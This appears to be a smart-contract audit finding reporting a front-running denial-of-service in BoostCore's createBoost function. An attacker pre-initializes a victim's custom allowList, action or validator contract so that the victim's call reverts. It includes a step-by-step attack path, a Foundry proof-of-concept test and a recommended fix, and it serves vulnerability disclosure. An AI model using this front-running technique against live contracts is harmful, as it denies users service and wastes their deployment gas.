Wobbly Cinnamon Leopard
Medium
Malicious user can front-run and deny Boost creation via pre-initialization of user’s custom contracts
The createBoost
function in the BoostCore contract allows a malicious user to front-run and initialize a victim’s custom contracts (such as action, allowList, or validator contracts). This results in the victim's createBoost
call failing due to contract re-initialization restrictions, effectively allowing a denial of service (DoS) attack.
In BoostCore.sol:126
, BoostCore.sol:127
and BoostCore.sol:132
, the function _makeTarget()
always sets shouldInitialize
to true
when creating the boost components like action
, allowList
, and validator
.
// Setup the Boost components
boost.action = AAction(_makeTarget(type(AAction).interfaceId, payload_.action, true));
boost.allowList = AAllowList(_makeTarget(type(AAllowList).interfaceId, payload_.allowList, true));
boost.incentives = _makeIncentives(payload_.incentives, payload_.budget);
boost.validator = AValidator(
payload_.validator.instance == address(0)
? boost.action.supportsInterface(type(AValidator).interfaceId) ? address(boost.action) : address(0)
: _makeTarget(type(AValidator).interfaceId, payload_.validator, true)
);
This results in the custom contracts forced being initialized by the BoostCore contract. However, if a malicious user front-runs the victim and pre-initializes the victim’s custom contract, the subsequent call by the victim to initialize the same contract will fail because the contracts cannot be re-initialized.
Users who want to use a custom contract as action
, allowList
, or validator
can't protect against it since they can't initialize there contract before, and the attacker can initialize contract with the BoostCore (so a check on msg.sender
will not work).
- The victim needs to deploy custom contracts for
action
,allowList
, orvalidator
before calling thecreateBoost
function. - The victim calls
createBoost
and passes references to the deployed custom contracts.
- The victim deploys custom contracts for their boost’s
action
,allowList
, orvalidator
. - Before the victim calls
createBoost
, a malicious user monitors the network and identifies the victim's contracts. - The malicious user front-runs the victim and calls
createBoost
using the victim’s custom contracts, forcing the contracts to initialize. Note that the malicious user can call custom contracts directly and have to initialize all of them. He can change parameters of the boost or use only one custom action for example. - When the victim attempts to call
createBoost
with the same custom contracts, the call fails because the contracts have already been initialized. - The victim’s
createBoost
transaction reverts, resulting in a denial of service (DoS) for the victim.
A malicious user can perform a DoS attack by preventing the victim from creating a boost with their custom contracts. This forces the victim to redeploy new contracts, adding unnecessary complexity and cost. The victim will lose deployment gas, and can be DoS again.
In packages\evm\test\e2e\EndToEndBasic.t.sol, add the following test:
function testPOC() public {
// "Given that I have a budget"
SimpleBudget budget = _budget;
_when_I_allocate_assets_to_my_budget(budget);
// "I can specify a list of allowed addresses"
address[] memory allowList = new address[](2);
allowList[0] = address(0xdeadbeef);
allowList[1] = address(0xc0ffee);
// "I can specify the incentive of '100 ERC20' with a max of 5 participants"
BoostLib.Target[] memory incentives = new BoostLib.Target[](1);
incentives[0] = BoostLib.Target({
// "I can specify the incentive..."
isBase: true,
instance: address(
registry.getBaseImplementation(
registry.getIdentifier(BoostRegistry.RegistryType.INCENTIVE, "ERC20Incentive")
)
),
// "... of '100 ERC20' with a max of 5 participants"
parameters: abi.encode(erc20, AERC20Incentive.Strategy.POOL, 100 ether, 5)
});
//Before createBoost user deploy allowList
address allowListAddress = address(new SimpleAllowList());
//And the malicious user front run the createBoost function with his own allowList.
//Attacker can do so by initializing with createBoost core or with allowListAddress directly
//We are doing POC by the second way because it is shorter but both are possible.
address[] memory maliciousAllowList = new address[](2);
maliciousAllowList[0] = address(0x123456);
maliciousAllowList[1] = address(0x1234567);
SimpleAllowList(allowListAddress).initialize(abi.encode(address(this), maliciousAllowList));
// Then user call reverts. The user has to deploy new contracts
// because his custom contracts have to be initialized by the core contract.
core.createBoost(
LibZip.cdCompress(
abi.encode(
BoostCore.InitPayload(
// "... with my budget"
budget,
BoostLib.Target({
// "I can specify the action of 'Mint an NFT'"
// "... and I can specify the address of my ERC721"
// "... and I can specify the selector of the mint function"
// "... and I can specify the mint price"
isBase: true,
instance: address(
registry.getBaseImplementation(
registry.getIdentifier(BoostRegistry.RegistryType.ACTION, "ERC721MintAction")
)
),
parameters: abi.encode(
AContractAction.InitPayload({
chainId: block.chainid,
target: address(erc721),
selector: MockERC721.mint.selector,
value: erc721.mintPrice()
})
)
}),
BoostLib.Target({
// "... and I don't have to specify a validator"
isBase: false,
instance: address(0),
parameters: bytes("")
}),
BoostLib.Target({
// "I can specify a list of allowed addresses"
isBase: false,
instance: allowListAddress,
parameters: abi.encode(address(this), allowList)
}),
incentives, // "I can specify the incentive..."
1_000, // "I can specify an additional protocol fee" => 1,000 bps == 10%
500, // "I can specify an additional referral fee" => 500 bps == 5%
5, // "I can specify a maximum number of participants" => 5
address(1) // "I can specify the owner of the Boost" => address(1)
)
)
)
);
}
Then run forge test --match-test testPOC -vvvv
You will see that the test will fail with the InvalidInitialization()
error.
If you delete this line it will not revert (ie there is no front run):
SimpleAllowList(allowListAddress).initialize(abi.encode(address(this), maliciousAllowList));
I recommend to always set target_.isBase
to true for action
, allowList
, or validator
in the createBoost function.